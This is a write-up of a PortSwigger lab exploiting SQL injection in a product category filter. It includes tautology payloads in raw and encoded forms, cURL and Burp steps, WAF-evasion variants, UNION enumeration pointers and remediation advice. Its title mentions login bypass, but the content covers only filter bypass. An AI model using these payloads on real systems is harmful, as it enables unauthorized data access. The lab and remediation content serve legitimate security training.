SQL injection vulnerability allowing login bypass
SQL injection vulnerability allowing login bypass: Exploit a SQL injection in the product category filter using a boolean condition to return unintended results and prove impact. Specifically, demonstrate that: - Injecting OR 1=1 into the category parameter causes the application to return additional records. - Show working payloads and reproduction steps with Burp and cURL. -... • PortSwigger • SQL injection • portswigger, sql-injection
🎯 Objective
Exploit a SQL injection in the product category filter using a boolean condition to return unintended results and prove impact. Specifically, demonstrate that:
- Injecting
OR 1=1into thecategoryparameter causes the application to return additional records. - Show working payloads and reproduction steps with Burp and cURL.
- Provide remediation guidance.
🧩 Context
Lab hint: The application builds a query using unsafely concatenated input from the category parameter.
Observed vulnerable request pattern:
GET /filter?category=AccessoriesIf we terminate the category value and append a tautology, the WHERE clause evaluates to true for all rows.
✅ TL;DR
Use:
/filter?category=Accessories' or 1=1 --URL‑encoded:
/filter?category=Accessories%27%20or%201%3D1%20--This bypasses the intended filter and returns more products than the selected category should allow.
🔍 Analysis & Walkthrough
1) Quick Proof via Browser
Visit:
https://<LAB-HOST>/filter?category=Accessories' or 1=1 --You should see all (or many more) products, not just “Accessories”.
Screenshots (user supplied):

The extra results confirm a boolean-based SQLi in the category filter.
2) Reproduce in Burp Repeater
- Send the legitimate request to Repeater.
- Modify the query string:
category=Accessories' or 1=1 -- - Replay and compare the number of items returned versus a normal, non-injected request.
Tip: If the backend is picky about comment syntax, try variations:
--(note the space after--for MySQL/MariaDB)--%0a(newline after--)/* */comments- Case variation:
oR 1=1
3) Reproduce with cURL
curl -i "https://<LAB-HOST>/filter?category=Accessories%27%20or%201%3D1%20--"Expected: 200 OK and an expanded product list in the response body.
4) Why It Works
The vulnerable code likely builds a query similar to:
SELECT name, description
FROM products
WHERE category = '<USER_INPUT>';After injection, the server executes:
... WHERE category = 'Accessories' or 1=1 -- 'The or 1=1 makes the predicate a tautology, and -- comments out the trailing quote/clauses, so the filter is bypassed.
📦 Payloads & Encodings
| Purpose | Raw | URL-Encoded |
|---|---|---|
| Basic tautology | ' or 1=1 -- | %27%20or%201%3D1%20-- |
| With category value | Accessories' or 1=1 -- | Accessories%27%20or%201%3D1%20-- |
| Newline comment variant | `' or 1=1 -- | |
|%27%20or%201%3D1%20--%0a` | ||
| Block comment | '/*test*/ or /*t*/ 1=1 -- | %27%2F*test*%2F%20or%20%2F*t*%2F%201%3D1%20-- |
Notes:
- Some databases require a space or newline after
--to treat it as a comment. - If WAF blocks obvious patterns, break keywords with comments (
o/**/r) or use case toggling.
🧪 Optional: Expanding the Test
Once confirmed, you can pivot to UNION-based tests (if responses are rendered) to enumerate:
- Column count:
order by N - Data types:
UNION SELECT 'a','a' … - Version: database-specific banners (e.g., Oracle
v$version, MySQL@@version)
For this lab, the boolean exploit is sufficient to demonstrate impact.
🛡️ Remediation
- Use parameterized queries / prepared statements for all database access:
# Example (Python + psycopg2) cur.execute("SELECT name, description FROM products WHERE category = %s;", (category,)) - Avoid string concatenation with untrusted input in SQL.
- Apply least privilege to DB accounts used by the application.
- Centralize and validate input: enforce strict allow-lists for known categories.
- Defense-in-depth: WAFs, query allow-lists, and query parameterization together.
🧭 Verification Checklist
- Normal request returns only the chosen category.
- Injected request with
OR 1=1returns additional rows. - Comment syntax confirmed (
--/ newline //* */).
📒 Appendix – Quick Encoders
- URL-encode:
%27is',%20is space,%3Dis=,%0ais newline. - If a WAF blocks
or 1=1, try compact or commented forms:o/**/r 1=1oror+1/*x*/=/*y*/1.
📚 References
- PortSwigger: SQL injection basics – https://portswigger.net/web-security/sql-injection
- PortSwigger: UNION attacks – https://portswigger.net/web-security/sql-injection/union-attacks
- OWASP: SQL Injection Prevention Cheat Sheet – https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html